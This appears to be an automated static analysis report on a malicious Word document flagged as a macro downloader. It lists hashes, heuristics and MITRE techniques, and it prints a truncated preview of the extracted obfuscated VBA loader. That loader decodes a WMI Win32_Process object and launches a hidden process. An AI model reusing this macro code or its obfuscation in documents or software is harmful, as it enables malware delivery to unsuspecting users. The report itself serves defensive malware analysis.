Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb12be91b4d29baf…

MALICIOUS

Office (OLE)

132.0 KB Created: 2019-10-01 14:34:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: cff2ea43b0e027f1d6bd960aaf4ab648 SHA-1: c6a9f07d883a9f4d093165c4ece18ddcbd7d567a SHA-256: eb12be91b4d29baf85315f4ca27d5ea1df62fbc3fa342e0329f0bd46cef454b5
282 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains an obfuscated VBA macro with an AutoOpen function, indicative of a downloader. The macro utilizes CreateObject and execution sink functions, suggesting it attempts to download and execute a second-stage payload. The ClamAV detection 'Doc.Downloader.Sagent-7257554-0' further supports this conclusion.

Heuristics 8

  • ClamAV: Doc.Downloader.Sagent-7257554-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sagent-7257554-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16472 bytes
SHA-256: adf37a77753f82af6061b57dd17d5e89a8182dbcea5b335e73fbec804d8fcab7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "gridenablednrn"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "frictionlesssvu, 0, 0, MSForms, TextBox"
Attribute VB_Control = "transmittingqtn, 1, 1, MSForms, TextBox"
Attribute VB_Control = "Cambridgeshireuhf, 2, 2, MSForms, TextBox"
Attribute VB_Control = "Alaskaprw, 3, 3, MSForms, TextBox"
Attribute VB_Control = "Groupkuo, 4, 4, MSForms, TextBox"

Attribute VB_Name = "Profoundvil"
Function Frozeniji()
On Error Resume Next
   Select Case microchipmvm
         Case 5
            Clothing__Babyljz = CSng(Investment_Accountsjt)
            COMvdj = Rnd(calculatingqnj)
         Case 740
            hard_drivesru = CSng(Cambridgeshiredhq - Log(87 + ChrW(599)))
            Plainsvcf = Hex(Freshoqu / Engineerhvj)
End Select
auxiliarynnv = plummch + "p" + withdrawalppj(gridenablednrn.Alaskaprw + gridenablednrn.Cambridgeshireuhf) 'Refined Concrete Chips transition Rubber Operations override Internal Manager needs-based Kuwait matrix
   Select Case Mainevbi
         Case 112
            Rusticjuw = CSng(synthesizingjli)
            driverpfp = Rnd(Customerskc)
         Case 177
            Lithuanian_Litaszip = CSng(Refined_Rubber_Saladrkr - Log(893 + ChrW(531)))
            or1080pubm = Hex(Meadowfjq / JBODthh)
End Select
Administratortwk = Rusticdfv
Set Fantasticldv = CreateObject(withdrawalppj(CStr(Len("Product Isle Regional Incredible Granite Chicken Awesome French Guiana Books & Tools")) + "w84i84n84mg84mts84:Wi84n3284_Pr84oce84ss"))
Administratortwk = Administratortwk + Fantasticldv.Create(auxiliarynnv, userswil, ADPwrf, magentazrl)
   Select Case AGPfds
         Case 657
            Music_Health__Industrialpoz = CSng(Softwrn)
            Checking_Accountkus = Rnd(Parksndf)
         Case 645
            expeditehzj = CSng(Egyptian_Poundawl - Log(870 + ChrW(118)))
            Rubberbdh = Hex(zw247vju / Streetibz)
End Select
End Function

Attribute VB_Name = "knowledge_basembw"
Function ADPwrf()
On Error Resume Next
   Select Case solutionorientedjuw
         Case 934
            Granitelwz = CSng(Auto_Loan_Accounthpi)
            Lakesrps = Rnd(Nationaljmz)
         Case 14
            Personal_Loan_Accountwqw = CSng(SMSddr - Log(509 + ChrW(6)))
            optimalpzt = Hex(Directivesvwq / Palestinian_Territorybvj)
End Select
Set ADPwrf = CreateObject(Smallukh + withdrawalppj(gridenablednrn.transmittingqtn + Nevadahsk))
   Select Case ADPkii
         Case 176
            New_Israeli_Sheqelszc = CSng(Horizontalrtb)
            Avonqij = Rnd(XMLsnm)
         Case 443
            Jordanfvo = CSng(Sleek_Fresh_Cariql - Log(80 + ChrW(657)))
            parsingpww = Hex(Nakfawiz / Credit_Card_Accountcni)
End Select
ADPwrf.ShowWindow! = Int(0)
   Select Case innovatesvs
         Case 954
            backing_upjip = CSng(Tennesseempv)
            Bordersrsw = Rnd(Keybwh)
         Case 724
            Steelizf = CSng(drivehcu - Log(112 + ChrW(626)))
            Industrialqus = Hex(coherentadi / Unbrandedjcc)
End Select
End Function
Function withdrawalppj(rebootjjw)
On Error Resume Next
   Select Case systemworthywsz
         Case 344
            Businessfocusedorf = CSng(IBnwq)
            homogeneouszsw = Rnd(Utahidz)
         Case 319
            bluetoothtrh = CSng(Movies_Grocery__Shoesski - Log(106 + ChrW(385)))
            digitalciz = Hex(Checking_Accounthch / Lodgevda)
End Select
   Select Case deliverablesanw
         Case 25
            orangezpr = CSng(multimediazbt)
            wirelessswa = Rnd(Buckinghamshirenvz)
         Case 885
            Avonazd = CSng(Checking_Accountmiv - Log(737 + ChrW(902)))
            Investment_Accountcoh = Hex(Jamaican_Dollarcfd / PCIvba)
End Select
copyuim = rebootjjw 'transmitting override deposit ability incubate SCSI COM Bhutan
   Select Case microchipdtf
  
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.